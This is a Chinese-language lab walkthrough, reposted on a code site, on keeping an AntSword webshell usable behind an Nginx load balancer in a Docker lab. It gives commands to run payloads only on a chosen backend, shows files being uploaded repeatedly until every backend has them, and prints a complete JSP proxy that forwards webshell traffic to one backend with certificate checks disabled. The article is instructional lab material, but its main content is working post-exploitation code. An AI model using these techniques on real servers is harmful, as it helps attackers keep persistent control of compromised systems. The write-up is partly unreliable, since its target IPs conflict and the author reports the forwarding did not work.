一、上传antsword-labs-master搭建负载均衡实验环境
搭建好docker环境,并且配置好docker-compose
我的redhat的docker版本:
查看当前环境下的文件是否正确:
接着执行docker compose up -d 拉取环境
访问成功页面:
进入docker容器执行以下命令
docker exec loadbalance-jsp_lbsnode1-1 bash -c "ls -l webapps/ro0t/ant.jsp"
可以发现存在webshell,查看里面内容如下:
二、连接webshell 执行命令
然后连接目标,因为两台节点都在相同的位置存在 ant.jsp,所以连接的时候也没出现什么异常
一旦有一台机器上没有,那么在请求轮到这台机器上的时候,就会出现 404 错误,影响使用。
我们可以发现,主机的ip一直在变
三、上传文件/工具
我先在这个目录下上传一个hack.txt文件,刷新
再次刷新,发现文件不见了,是因为文件被分开上传到不同的后端了,不停地刷新会发现文件时而存在时而不见。
连续进行上传操作,直到刷新到hack.txt文件一直存在为止。如果文件较大,则会导致上传的工具用不了。
五、解决执行的命令会分散到不同的后端的问题
1、我们既然无法预测下一次命令是哪台机器去执行,那我们的 shell 在执行 payload 之前,先判断一下要不要执行不就行了?
因为本次环境由docker搭建的,在docker里面下载相应的工具
进入相应的docker容器(注意不同的系统容器名字不一样) 退出容器exit
升级一下
apt-get update
安装一下
apt-get install net-tools
测试一下好不好用,因为只在一台装了,另一台用不了
两台都要装上
2、创建脚本判断要执行命令的ip是不是目标后端
vim demo.sh
myip=`ifconfig | grep "inet 172.19" | awk '{print $2}'` if [ "$myip" == "172.19.0.2" ]; then echo "allow exec your command" id else echo "try again!!!" fi
然后将次脚本复制到docker容器下的临时文件夹下,两台都要复制
docker cp demo.sh 8e558d690564:/tmp
此时执行脚本,匹配
这就解决了执行命令只会在一台特定后端
六、解决上传文件会分散到不同的后端的问题
测试内网通信
curl http://172.19.0.3:8080 -x head -v
在web 层做一次 http 流量转发实现后端不是目标的机器将流量转发给目标机
antproxy.jsp
注意更改这个字段 string target = "http://172.19.0.2:8080/ant.jsp";
<%@ page contenttype="text/html;charset=utf-8" language="java" %> <%@ page import="javax.net.ssl.*" %> <%@ page import="java.io.bytearrayoutputstream" %> <%@ page import="java.io.datainputstream" %> <%@ page import="java.io.inputstream" %> <%@ page import="java.io.outputstream" %> <%@ page import="java.net.httpurlconnection" %> <%@ page import="java.net.url" %> <%@ page import="java.security.keymanagementexception" %> <%@ page import="java.security.nosuchalgorithmexception" %> <%@ page import="java.security.cert.certificateexception" %> <%@ page import="java.security.cert.x509certificate" %> <%! public static void ignoressl() throws exception { hostnameverifier hv = new hostnameverifier() { public boolean verify(string urlhostname, sslsession session) { return true; } }; trustallhttpscertificates(); httpsurlconnection.setdefaulthostnameverifier(hv); } private static void trustallhttpscertificates() throws exception { trustmanager[] trustallcerts = new trustmanager[] { new x509trustmanager() { public x509certificate[] getacceptedissuers() { return null; } @override public void checkclienttrusted(x509certificate[] arg0, string arg1) throws certificateexception { // not implemented } @override public void checkservertrusted(x509certificate[] arg0, string arg1) throws certificateexception { // not implemented } } }; try { sslcontext sc = sslcontext.getinstance("tls"); sc.init(null, trustallcerts, new java.security.securerandom()); httpsurlconnection.setdefaultsslsocketfactory(sc.getsocketfactory()); } catch (keymanagementexception e) { e.printstacktrace(); } catch (nosuchalgorithmexception e) { e.printstacktrace(); } } %> <% string target = "http://172.20.0.2:8080/ant.jsp"; url url = new url(target); if ("https".equalsignorecase(url.getprotocol())) { ignoressl(); } httpurlconnection conn = (httpurlconnection)url.openconnection(); stringbuilder sb = new stringbuilder(); conn.setrequestmethod(request.getmethod()); conn.setconnecttimeout(30000); conn.setdooutput(true); conn.setdoinput(true); conn.setinstancefollowredirects(false); conn.connect(); bytearrayoutputstream baos=new bytearrayoutputstream(); outputstream out2 = conn.getoutputstream(); datainputstream in=new datainputstream(request.getinputstream()); byte[] buf = new byte[1024]; int len = 0; while ((len = in.read(buf)) != -1) { baos.write(buf, 0, len); } baos.flush(); baos.writeto(out2); baos.close(); inputstream inputstream = conn.getinputstream(); outputstream out3=response.getoutputstream(); int len2 = 0; while ((len2 = inputstream.read(buf)) != -1) { out3.write(buf, 0, len2); } out3.flush(); out3.close(); %>
使用蚁剑的新建文件功能,新建一个antproxy.jsp的文件上传,重复上传多次,确保所有后端都上传上去了。
将上面的代码复制到这个文件中并多次保存,确保每台后端都存在
然后更新名字antproxy.jsp
按道理来讲,这样之后进行测试,所有的流量都会转发到172.19.0.2
但是不知道是不是redhat系统的原因,此现象看不到,还会一直跳
到此这篇关于nginx负载均衡下的webshell连接的实现的文章就介绍到这了,更多相关nginx负载均衡webshell连接内容请搜索代码网以前的文章或继续浏览下面的相关文章希望大家以后多多支持代码网!
发表评论